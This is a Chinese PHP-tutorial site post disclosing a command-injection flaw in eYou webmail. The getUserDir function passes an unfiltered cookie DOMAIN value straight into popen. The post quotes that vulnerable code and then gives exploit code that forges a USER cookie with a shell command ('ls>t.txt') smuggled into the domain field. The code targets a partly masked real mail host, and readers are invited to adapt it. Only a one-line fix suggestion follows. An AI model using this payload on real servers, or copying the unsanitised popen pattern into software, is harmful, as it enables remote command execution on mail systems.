来源:自学PHP网 时间:2015-04-17 10:15 作者: 阅读:次
[导读] 有条件限制,需要登陆权限,新版本无效,还是命令执行。问题出在getUserDir这个函数里,$_COOKIE毫无过滤带入。先看eYou的代码://获取用户目录function getUserDir($uid, $domain) { $handle = pop.....
有条件限制,需要登陆权限,新版本无效,还是命令执行。问题出在getUserDir这个函数里,$_COOKIE毫无过滤带入。
先看eYou的代码:
//获取用户目录 function getUserDir($uid, $domain) { $handle = popen("/var/eyou/sbin/hashid $uid $domain", 'r'); $read = fread($handle, 2096); pclose($handle); return $read; }
$domain无过滤,直接可以执行。
接着是利用代码,没有现成的哈,自己看着来改就行了。
public function action_test() { $cmd = "ls>t.txt"; $request = Request::factory('http://mail.XXXXXXXXXXXX.cn/user/autoComplete.php?s=1') ->cookie('USER', "LASTONE=fake&ENTER_TYPE=0&NO_EYCM=1&GWJUMP=1&MAXRCPTNUM=150&LANG=zh_CN&TOKEN=z2GYCv1SJ&DOMAIN=test.com;{$cmd}&UID=test&LOGIN_DOMAIN=test.com&LOGIN_UID=timothy&ATTSIZE=10&CALLBACK=0&TRACEMAIL=0&GROUPADDR=0&VIEWLIST=0&GLOBALPERMISSION=0&NOTATION=0&BYTESPERCENT=0&BOOKMARK=1&MOBILEMESSAGE=0&DIALUP=0&VIDEOMAIL=0&SECUREMAIL=0&VOICEMAIL=1&CALENDAR=1&STORAGE=1&TOTALSPACE=200&LOCKSTATUS=0&USERNAME=&EXPTIME=0&LETTERS=5000"A=100&COMPANYADDR=&SKIN=current&") ->cookie('PHPSESSID', 'e1c8798afec734384cd908180e52b1cf') ->execute(); echo Debug::vars($request); exit; }
修复方案:
在getUserDir方法中用正则验证下domain。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com